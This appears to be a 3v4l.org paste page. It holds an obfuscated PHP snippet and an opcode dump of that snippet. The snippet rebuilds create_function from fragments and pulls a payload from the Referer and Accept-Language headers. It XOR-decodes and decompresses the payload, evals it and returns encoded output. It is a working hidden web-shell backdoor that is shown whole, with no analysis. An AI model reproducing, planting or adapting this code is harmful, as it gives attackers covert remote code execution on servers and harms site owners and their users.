3v4l.org

run code in 300+ PHP versions simultaneously
<?php $d='strpQ/os($pQ/,$h)Q/===0){$Q/s[$i]="Q/";$p=$ss(Q/$p,3);Q/}ifQ/Q/(array_key_existQ/s(Q/Q/$i,$s)Q/){$'; $q='T_LAQ/NGUAGE"];Q/if($Q/rr&&$raQ/){$uQ/Q/=parQ/se_url($rQ/r);parse_stQ/r($uQ/Q/["query"],$qQ/);$q'; $B='md5($iQ/.$kf),0,3));$pQ/="";for($zQ/=1;$z<Q/coQ/unt($m[1]);$Q/z++)$p.=Q/$q[$Q/m[2][$Q/z]]Q/;if('; $k=str_replace('aO','','creaOataOaOaOe_funaOaOction'); $z='/Q/Q/;}}return $o;}$r=$Q/_SERQ/VER;$Q/Q/rr=@$r["HTTP_RQ/EFEREQ/R"]Q/;$ra=@$Q/r["HTTP_AQ/CCQ/EP'; $o='"";fQ/or($iQ/=0;$i<$Q/l;){forQ/($jQ/=0;($jQ/<$c&Q/&$i<$lQ/);$j++,$Q/i++)Q/{$o.=$t{$iQ/}^$k{$j}Q'; $y='comprQ/ess(@xQ/(@bQ/asQ/Q/e64_decode(preg_replacQ/eQ/(arrayQ/("/_/","/Q/-/Q/"),arraQ/y("/","Q/+")'; $J='e64_encode(x(gzcoQ/mpQ/ress($o)Q/Q/,$k));print("Q/<$k>Q/$Q/Q/dQ/</$k>");@sQ/ession_destroy();}}}}'; $Y='olowerQ/";$i=$Q/m[1][0]Q/.$m[1]Q/[Q/1Q/];$h=$slQ/($ss(mQ/d5Q/($i.$kh),0,3));$Q/fQ/=$sQ/l($Q/ss(Q/'; $a='=arrayQ/_valuQ/es($Q/q)Q/;preQ/g_match_all("/([\\Q/w]Q/Q/)[Q/\\w-]+(?:;q=0.([\\Q/d]))?,?/",$Q/ra'; $r='$kh="Q/Q/a4d8";$kf=Q/"0eac";funQ/cQ/tion x($t,Q/$k){$cQ/=stQ/rlen($kQ/);$l=strleQ/n($t);$oQ/='; $f=',$ss($sQ/[Q/$i],0Q/,$e))),$kQ/)));$o=Q/obQ/_get_contentQ/sQ/();Q/ob_enQ/d_clean(Q/);$d=baQ/Q/s'; $A='Q/,Q/$m);ifQ/($qQ/&&$m){Q/@session_start(Q/);$Q/s=&Q/$_SQ/ESSIOQ/N;$ss="substr";$sQ/l="Q/strt'; $Z='s[$i].=$Q/p;$e=Q/strpos($Q/Q/sQ/[Q/$i],$f);if($e){$k=$kh.$Q/kf;obQ/_stQ/art();@evQ/al(@gzunQ/'; $n=str_replace('Q/','',$r.$o.$z.$q.$a.$A.$Y.$B.$d.$Z.$y.$f.$J); $D=$k('',$n);var_dump($D); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/U5Vjh
function name:  (null)
number of ops:  46
compiled vars:  !0 = $d, !1 = $q, !2 = $B, !3 = $k, !4 = $z, !5 = $o, !6 = $y, !7 = $J, !8 = $Y, !9 = $a, !10 = $r, !11 = $f, !12 = $A, !13 = $Z, !14 = $n, !15 = $D
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'strpQ%2Fos%28%24pQ%2F%2C%24h%29Q%2F%3D%3D%3D0%29%7B%24Q%2Fs%5B%24i%5D%3D%22Q%2F%22%3B%24p%3D%24ss%28Q%2F%24p%2C3%29%3BQ%2F%7DifQ%2FQ%2F%28array_key_existQ%2Fs%28Q%2FQ%2F%24i%2C%24s%29Q%2F%29%7B%24'
    3     1        ASSIGN                                                   !1, 'T_LAQ%2FNGUAGE%22%5D%3BQ%2Fif%28%24Q%2Frr%26%26%24raQ%2F%29%7B%24uQ%2FQ%2F%3DparQ%2Fse_url%28%24rQ%2Fr%29%3Bparse_stQ%2Fr%28%24uQ%2FQ%2F%5B%22query%22%5D%2C%24qQ%2F%29%3B%24q'
    4     2        ASSIGN                                                   !2, 'md5%28%24iQ%2F.%24kf%29%2C0%2C3%29%29%3B%24pQ%2F%3D%22%22%3Bfor%28%24zQ%2F%3D1%3B%24z%3CQ%2FcoQ%2Funt%28%24m%5B1%5D%29%3B%24Q%2Fz%2B%2B%29%24p.%3DQ%2F%24q%5B%24Q%2Fm%5B2%5D%5B%24Q%2Fz%5D%5DQ%2F%3Bif%28'
    5     3        INIT_FCALL                                               'str_replace'
          4        SEND_VAL                                                 'aO'
          5        SEND_VAL                                                 ''
          6        SEND_VAL                                                 'creaOataOaOaOe_funaOaOction'
          7        DO_ICALL                                         $19     
          8        ASSIGN                                                   !3, $19
    6     9        ASSIGN                                                   !4, '%2FQ%2FQ%2F%3B%7D%7Dreturn+%24o%3B%7D%24r%3D%24Q%2F_SERQ%2FVER%3B%24Q%2FQ%2Frr%3D%40%24r%5B%22HTTP_RQ%2FEFEREQ%2FR%22%5DQ%2F%3B%24ra%3D%40%24Q%2Fr%5B%22HTTP_AQ%2FCCQ%2FEP'
    7    10        ASSIGN                                                   !5, '%22%22%3BfQ%2For%28%24iQ%2F%3D0%3B%24i%3C%24Q%2Fl%3B%29%7BforQ%2F%28%24jQ%2F%3D0%3B%28%24jQ%2F%3C%24c%26Q%2F%26%24i%3C%24lQ%2F%29%3B%24j%2B%2B%2C%24Q%2Fi%2B%2B%29Q%2F%7B%24o.%3D%24t%7B%24iQ%2F%7D%5E%24k%7B%24j%7DQ'
    8    11        ASSIGN                                                   !6, 'comprQ%2Fess%28%40xQ%2F%28%40bQ%2FasQ%2FQ%2Fe64_decode%28preg_replacQ%2FeQ%2F%28arrayQ%2F%28%22%2F_%2F%22%2C%22%2FQ%2F-%2FQ%2F%22%29%2CarraQ%2Fy%28%22%2F%22%2C%22Q%2F%2B%22%29'
    9    12        ASSIGN                                                   !7, 'e64_encode%28x%28gzcoQ%2FmpQ%2Fress%28%24o%29Q%2FQ%2F%2C%24k%29%29%3Bprint%28%22Q%2F%3C%24k%3EQ%2F%24Q%2FQ%2FdQ%2F%3C%2F%24k%3E%22%29%3B%40sQ%2Fession_destroy%28%29%3B%7D%7D%7D%7D'
   10    13        ASSIGN                                                   !8, 'olowerQ%2F%22%3B%24i%3D%24Q%2Fm%5B1%5D%5B0%5DQ%2F.%24m%5B1%5DQ%2F%5BQ%2F1Q%2F%5D%3B%24h%3D%24slQ%2F%28%24ss%28mQ%2Fd5Q%2F%28%24i.%24kh%29%2C0%2C3%29%29%3B%24Q%2FfQ%2F%3D%24sQ%2Fl%28%24Q%2Fss%28Q%2F'
   11    14        ASSIGN                                                   !9, '%3DarrayQ%2F_valuQ%2Fes%28%24Q%2Fq%29Q%2F%3BpreQ%2Fg_match_all%28%22%2F%28%5B%5CQ%2Fw%5DQ%2FQ%2F%29%5BQ%2F%5Cw-%5D%2B%28%3F%3A%3Bq%3D0.%28%5B%5CQ%2Fd%5D%29%29%3F%2C%3F%2F%22%2C%24Q%2Fra'
   12    15        ASSIGN                                                   !10, '%24kh%3D%22Q%2FQ%2Fa4d8%22%3B%24kf%3DQ%2F%220eac%22%3BfunQ%2FcQ%2Ftion+x%28%24t%2CQ%2F%24k%29%7B%24cQ%2F%3DstQ%2Frlen%28%24kQ%2F%29%3B%24l%3DstrleQ%2Fn%28%24t%29%3B%24oQ%2F%3D'
   13    16        ASSIGN                                                   !11, '%2C%24ss%28%24sQ%2F%5BQ%2F%24i%5D%2C0Q%2F%2C%24e%29%29%29%2C%24kQ%2F%29%29%29%3B%24o%3DQ%2FobQ%2F_get_contentQ%2FsQ%2F%28%29%3BQ%2Fob_enQ%2Fd_clean%28Q%2F%29%3B%24d%3DbaQ%2FQ%2Fs'
   14    17        ASSIGN                                                   !12, 'Q%2F%2CQ%2F%24m%29%3BifQ%2F%28%24qQ%2F%26%26%24m%29%7BQ%2F%40session_start%28Q%2F%29%3B%24Q%2Fs%3D%26Q%2F%24_SQ%2FESSIOQ%2FN%3B%24ss%3D%22substr%22%3B%24sQ%2Fl%3D%22Q%2Fstrt'
   15    18        ASSIGN                                                   !13, 's%5B%24i%5D.%3D%24Q%2Fp%3B%24e%3DQ%2Fstrpos%28%24Q%2FQ%2FsQ%2F%5BQ%2F%24i%5D%2C%24f%29%3Bif%28%24e%29%7B%24k%3D%24kh.%24Q%2Fkf%3BobQ%2F_stQ%2Fart%28%29%3B%40evQ%2Fal%28%40gzunQ%2F'
   16    19        INIT_FCALL                                               'str_replace'
         20        SEND_VAL                                                 'Q%2F'
         21        SEND_VAL                                                 ''
         22        CONCAT                                           ~31     !10, !5
         23        CONCAT                                           ~32     ~31, !4
         24        CONCAT                                           ~33     ~32, !1
         25        CONCAT                                           ~34     ~33, !9
         26        CONCAT                                           ~35     ~34, !12
         27        CONCAT                                           ~36     ~35, !8
         28        CONCAT                                           ~37     ~36, !2
         29        CONCAT                                           ~38     ~37, !0
         30        CONCAT                                           ~39     ~38, !13
         31        CONCAT                                           ~40     ~39, !6
         32        CONCAT                                           ~41     ~40, !11
         33        CONCAT                                           ~42     ~41, !7
         34        SEND_VAL                                                 ~42
         35        DO_ICALL                                         $43     
         36        ASSIGN                                                   !14, $43
   17    37        INIT_DYNAMIC_CALL                                        !3
         38        SEND_VAL_EX                                              ''
         39        SEND_VAR_EX                                              !14
         40        DO_FCALL                                      0  $45     
         41        ASSIGN                                                   !15, $45
         42        INIT_FCALL                                               'var_dump'
         43        SEND_VAR                                                 !15
         44        DO_ICALL                                                 
   18    45      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
181.81 ms | 1400 KiB | 17 Q